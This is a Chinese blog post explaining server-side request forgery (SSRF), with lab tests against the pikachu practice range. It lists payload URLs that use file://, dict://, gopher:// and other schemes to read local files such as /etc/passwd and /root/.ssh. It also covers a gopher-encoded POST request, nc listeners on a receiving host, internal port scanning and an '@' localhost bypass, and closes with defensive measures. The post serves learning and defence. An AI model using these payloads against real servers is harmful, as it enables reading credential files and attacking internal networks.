SSRF服务器请求伪造

SSRF服务器请求伪造

概念

SSRF(服务端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因:服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

攻击方式

1.访问服务器所在内网-端口扫描,获取一些服务的banner信息

2.向内部任意主机的任意端口发送payload来攻击内网服务

3.攻击内网的web应用,例如直接SQL注入、XSS攻击等

4.利用file、gopher、dict协议读取本地文件、执行命令等

5.上传文件

6.造成内外网DDOS攻击
...

漏洞点

1.分享功能
2.图片加载与下载
3.图片、文章收藏功能
4.转码服务
5.在线翻译
6.从URL关键字中寻找
	share
	wap
	url
	link
	src
	source
	target
	u
	3g
	display
	sourceURl
	imageURL
	domain
	...

选择合适的点进行判断有无SSRF,可以直接引入外链的图片,查看是否能引入图片

http://www.xxxx.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

伪协议

对于不同语言实现的web系统可以使用的协议也存在不同的差异,其中:
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...
1.file:///  本地文件传输协议,File协议主要用于访问本地计算机中的文件
http://example.com/ssrf.php?url=file:///etc/passwd     file:///root/.ssh
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2.dict://   dict://serverip:port/命令:参数 向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利,通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

http://example.com/ssrf.php?dict://IP:1111/data:data2 (dict可以向服务端口请求data data2) 
IPHOST:$ nc -lvvp 1111

3.sftp:// Sftp代表SSH文件传输协议,或安全文件传输协议,这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://IP:1111/ 
IPHOST:$ nc -lvvp 1111

4.ldap://或ldaps:// 或ldapi://     LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1111/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1111/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1111/%0astats%0aquit

5.tftp://   TFTP(简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://IP:1111/TEST
IPHOST:# nc -lvup 1111

6.gopher://  Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=gopher://IP:1111/_test (向1111端口发送数据test,同样可以发送POST请求)
IPHOST:# nc -lvvp 1111

file:///

用了pikachu靶场进行测试 Windows下

http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:/Windows/win.ini
http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:/test.txt

dict://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.3.73:1111/data:data2 

sftp://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=sftp://192.168.3.73:1111/

ldap://

//不知道是不是环境的原因没实验成功

tftp://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=tftp://192.168.3.73:1111/TEST

gopher://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.3.73:1111/_TEST


利用gopher:// 发送请求,gopher是利用SSRF+redis的重要工具。

_POST /index.php HTTP/1.1
Host: 192.168.3.73:1111
Connection: close
Content-Type: application/x-www-form-urlencoded

username=admin&password=password


url编码
_POST%20%2Findex.php%20HTTP%2F1.1%0AHost%3A%20192.168.3.73%3A1111%0AConnection%3A%20close%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Ausername%3Dadmin%26password%3Dpassword


http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.3.73:1111/_POST%20%2Findex.php%20HTTP%2F1.1%0AHost%3A%20192.168.3.73%3A1111%0AConnection%3A%20close%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Ausername%3Dadmin%26password%3Dpassword

端口扫描

http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=127.0.0.1:80

可以使用burp的intruder模块爆破

//访问https,http
http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=www.baidu.com

SSRF绕过

攻击本地

参考:https://www.secpulse.com/archives/65832.html
127.0.0.1 = localhost

利用@ 实验就这个成功了 - -!
http://example.com@127.0.0.1  >>>  http://127.0.0.1/

防御方法

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

参考文章

https://www.secpulse.com/archives/65832.html

https://xz.aliyun.com/t/6373#toc-8

https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ

posted @ 2022-05-06 10:21  九天揽月丶  阅读(348)  评论(0编辑  收藏  举报